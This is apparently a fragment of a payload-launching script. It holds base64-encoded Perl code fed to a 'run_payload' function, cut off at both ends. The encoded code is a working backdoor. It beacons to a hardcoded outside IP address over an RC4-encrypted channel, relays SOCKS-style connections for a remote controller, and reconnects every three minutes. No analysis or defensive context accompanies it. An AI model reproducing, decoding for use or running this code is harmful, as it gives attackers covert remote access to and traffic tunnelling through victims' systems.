gMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_34.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTgzJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0